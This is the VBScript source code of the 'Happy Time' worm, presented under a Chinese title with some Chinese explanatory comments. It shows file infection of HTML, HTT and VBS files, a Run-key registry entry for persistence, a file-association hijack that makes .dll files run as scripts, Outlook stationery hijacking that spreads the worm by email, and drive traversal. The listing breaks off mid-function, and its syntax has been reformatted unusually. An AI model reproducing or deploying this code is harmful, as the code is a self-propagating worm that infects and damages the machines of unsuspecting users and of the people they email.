ȡ

新欢乐时光源代码

kj_start()  


  Dim   InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
  
  Sub 
   KJ_start() KJSetDim() KJCreateMilieu() KJLikeIt() KJCreateMail() KJPropagate() 
  End Sub 

--------------------------------------------------------   
Function KJAppendTo(FilePath,TypeStr) 

On Error Resume Next 
    Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
TmpStr = ReadTemp.ReadAll 
    
    If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 
       Then ReadTemp.Close      
            Exit Function 
    End If  
   
     If TypeStr = "htt" 
        Then ReadTemp.Close 
      
        Set FileTemp = FSO.OpenTextFile(FilePath,2) 
      
        FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
      
        FileTemp.Close 
   
                                                                           //vbCrLf为换行符//
    
        Set FAttrib = FSO.GetFile(FilePath) 
    
        FAttrib.attributes = 34 // 设置文件的属性为Hidden（隐藏）,Archive（挡案）//
    
     Else ReadTemp.Close 
    
         Set FileTemp = FSO.OpenTextFile(FilePath,8) 
   
      If TypeStr = "html" 
        Then FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
      
      ElseIf TypeStr = "vbs" 
             Then FileTemp.Write vbCrLf & VbsText 	
      End If 
    FileTemp.Close 
  End If 
End Function 


------------------------------------------------------- 

Function KJChangeSub(CurrentString,LastIndexChar) 
  If LastIndexChar = 0 
     Then If Left(LCase(CurrentString),1) =< LCase("c") 
             Then KJChangeSub = FinalyDisk & ":\" 
             SubE = 0 
             
          Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
             SubE = 0 
          End If 
  Else KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
  End If 
End Function 


--------------------------------------------------------

Function KJCreateMail() 

On Error Resume Next 
  If InWhere = "html" 
     Then Exit Function 
  End If 
ShareFile = Left(WinPath,3)&"ProgramFiles\CommonFiles\MicrosoftShared\Stationery\blank.htm" 

//WinPath = FSO.GetSpecialFolder(0) & "\" //
//Constant       Value Description 
//WindowsFolder   0    The Windows folder contains files installed by the Windows operating system. 
//SystemFolder    1    The System folder contains libraries, fonts, and device drivers. 
//TemporaryFolder 2    The Temp folder is used to store temporary files. Its path is found in the TMP environment variable. 
  
  If (FSO.FileExists(ShareFile)) 
     Then Call KJAppendTo(ShareFile,"html") 
     
     Else Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
              FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
              FileTemp.Close 
  End If 

DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 

OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 

WsShell.RegWrite"HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 

Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 

WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 

Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 

KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 

End Function 

-------------------------------------------------------------------
Function KJCreateMilieu() 
 On Error Resume Next 
 TempPath = "" 
  
  If Not(FSO.FileExists(WinPath & "WScript.exe")) 
     Then TempPath = "system32\" 
  End If 
  
  If TempPath = "system32\" 
     Then StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
     Else StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
  End If 

WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
   
   FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
   FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
 Call KJAppendTo(WinPath & "web\Folder.htt","htt") 

  WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"   
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
  
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
  
  Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
      FileTemp.Write VbsText 
      FileTemp.Close 
End Function 

-------------------------------------------
Function KJLikeIt() 
  If InWhere <> "html" 
    Then Exit Function 
  End If 

ThisLocation = document.location 
  If Left(ThisLocation, 4) = "file" 
     Then ThisLocation = Mid(ThisLocation,9) 
 
    If FSO.GetExtensionName(ThisLocation) <> "" 
       then ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
    End If 

    If Len(ThisLocation) > 3 
     Then ThisLocation = ThisLocation & "\" 
    End If 

KJummageFolder(ThisLocation) 
   End If 
End Function 

------------------------------------------------
Function KJMailReg(RegStr,FileName) 

On Error Resume Next 

RegTempStr = WsShell.RegRead(RegStr) 
 
  If RegTempStr = "" 
     Then WsShell.RegWrite RegStr,FileName 
  End If 
End Function 

-------------------------------------------------

Function KJOboSub(CurrentString) 
SubE = 0 
TestOut = 0 



//  Sub AddNewFolder(path, folderName)
//   Dim fso, f, fc, nf
//   Set fso = CreateObject("Scripting.FileSystemObject")
//   Set f = fso.GetFolder(path)
//   Set fc = f.SubFolders
//   If folderName <> "" Then
//      Set nf = fc.Add(folderName)
//   Else
//      Set nf = fc.Add("New Folder")
//   End If
//  End Sub

Do While True TestOut = TestOut + 1 
  If TestOut > 28 
    Then CurrentString = FinalyDisk & ":\" 
Exit Do 
  End If 
On Error Resume Next 

  Set ThisFolder = FSO.GetFolder(CurrentString)
  Set DicSub = CreateObject("Scripting.Dictionary") //Object that stores data key, item pairs. 类似数组，但放的类型较多//
  Set Folders = ThisFolder.SubFolders 

  FolderCount = 0 

    For Each TempFolder in Folders FolderCount = FolderCount + 1   
    DicSub.add FolderCount, TempFolder.Name 
    Next 

  If DicSub.Count = 0 
     Then LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)  //“Rev”:=reverse.表示反向向前算

     SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 

     CurrentString = KJChangeSub(CurrentString,LastIndexChar) 

     SubE = 1 

     Else If SubE = 0 Then CurrentString = CurrentString & DicSub.Item(1) & "\" 

      Exit Do 
         
          Else j = 0 
          For j = 1 To FolderCount 
             If LCase(SubString) = LCase(DicSub.Item(j)) 
             Then 
                  If j < FolderCount Then CurrentString = CurrentString & DicSub.Item(j+1) & "\" 
                  Exit Do 
                  End If 
              End If 
          Next 
     
     LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 

     SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 

     CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
  
         End If 
  
  End If 

Loop KJOboSub = CurrentString 

End Function 

---------------------------------------------------------------------
Function KJPropagate() 

On Error Resume Next 

RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" 

DiskDegree = WsShell.RegRead(RegPathValue) 

  If DiskDegree = "" 
     Then DiskDegree = FinalyDisk & ":\" 
  End If